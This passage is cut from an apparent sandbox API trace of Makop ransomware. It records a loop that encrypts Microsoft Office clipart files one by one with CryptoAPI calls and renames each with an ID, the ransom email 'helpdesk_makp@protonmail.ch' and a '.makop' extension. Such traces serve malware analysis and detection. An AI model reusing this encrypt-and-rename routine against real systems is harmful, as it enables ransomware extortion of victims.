param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 63 [0144.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.579] GetProcessHeap () returned 0x48a0000 [0144.579] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.579] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.579] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.579] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0144.688] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.689] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.689] GetProcessHeap () returned 0x48a0000 [0144.689] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.689] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.689] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.689] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.689] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.689] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.689] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.689] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.690] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.690] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.690] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x614, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x614, lpOverlapped=0x0) returned 1 [0144.690] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x620, dwBufLen=0x620 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x620) returned 1 [0144.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.690] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x620, lpOverlapped=0x0) returned 1 [0144.690] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.691] SetEndOfFile (hFile=0xf0) returned 1 [0144.697] GetProcessHeap () returned 0x48a0000 [0144.697] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.697] GetProcessHeap () returned 0x48a0000 [0144.697] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.697] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.699] CloseHandle (hObject=0xf0) returned 1 [0144.699] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b00e400, ftCreationTime.dwHighDateTime=0x1bd4afa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b00e400, ftLastWriteTime.dwHighDateTime=0x1bd4afa, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03241_.WMF", cAlternateFileName="")) returned 1 [0144.699] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 63 [0144.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.701] GetProcessHeap () returned 0x48a0000 [0144.701] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.701] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0144.706] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.706] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.706] GetProcessHeap () returned 0x48a0000 [0144.707] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.707] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.707] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.707] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.707] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.707] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.707] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.707] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.707] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.708] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.708] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8b4, lpOverlapped=0x0) returned 1 [0144.708] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0) returned 1 [0144.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8c0, lpOverlapped=0x0) returned 1 [0144.708] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.709] SetEndOfFile (hFile=0xf0) returned 1 [0144.716] GetProcessHeap () returned 0x48a0000 [0144.716] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.716] GetProcessHeap () returned 0x48a0000 [0144.716] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.716] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.718] CloseHandle (hObject=0xf0) returned 1 [0144.718] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921ed00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb921ed00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3380, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03257_.WMF", cAlternateFileName="")) returned 1 [0144.718] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF") returned 63 [0144.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.719] GetProcessHeap () returned 0x48a0000 [0144.719] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.719] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.720] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.720] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.720] GetProcessHeap () returned 0x48a0000 [0144.720] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.720] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.720] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.720] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.724] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.725] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.725] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.725] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.725] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.725] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3380, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3380, lpOverlapped=0x0) returned 1 [0144.727] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3380, dwBufLen=0x3380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3380) returned 1 [0144.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.728] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3380, lpOverlapped=0x0) returned 1 [0144.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.728] SetEndOfFile (hFile=0xf0) returned 1 [0144.735] GetProcessHeap () returned 0x48a0000 [0144.735] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.735] GetProcessHeap () returned 0x48a0000 [0144.735] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.735] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.737] CloseHandle (hObject=0xf0) returned 1 [0144.737] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31379600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31379600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03331_.WMF", cAlternateFileName="")) returned 1 [0144.737] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF") returned 63 [0144.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.739] GetProcessHeap () returned 0x48a0000 [0144.739] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.739] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.740] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0144.744] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.744] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.744] GetProcessHeap () returned 0x48a0000 [0144.744] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.744] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.744] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.744] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.745] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.745] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.746] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.746] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.746] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.746] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x692, lpOverlapped=0x0) returned 1 [0144.746] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6a0) returned 1 [0144.746] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.746] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6a0, lpOverlapped=0x0) returned 1 [0144.747] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.747] SetEndOfFile (hFile=0xf0) returned 1 [0144.754] GetProcessHeap () returned 0x48a0000 [0144.754] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.754] GetProcessHeap () returned 0x48a0000 [0144.754] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.754] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.756] CloseHandle (hObject=0xf0) returned 1 [0144.756] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, 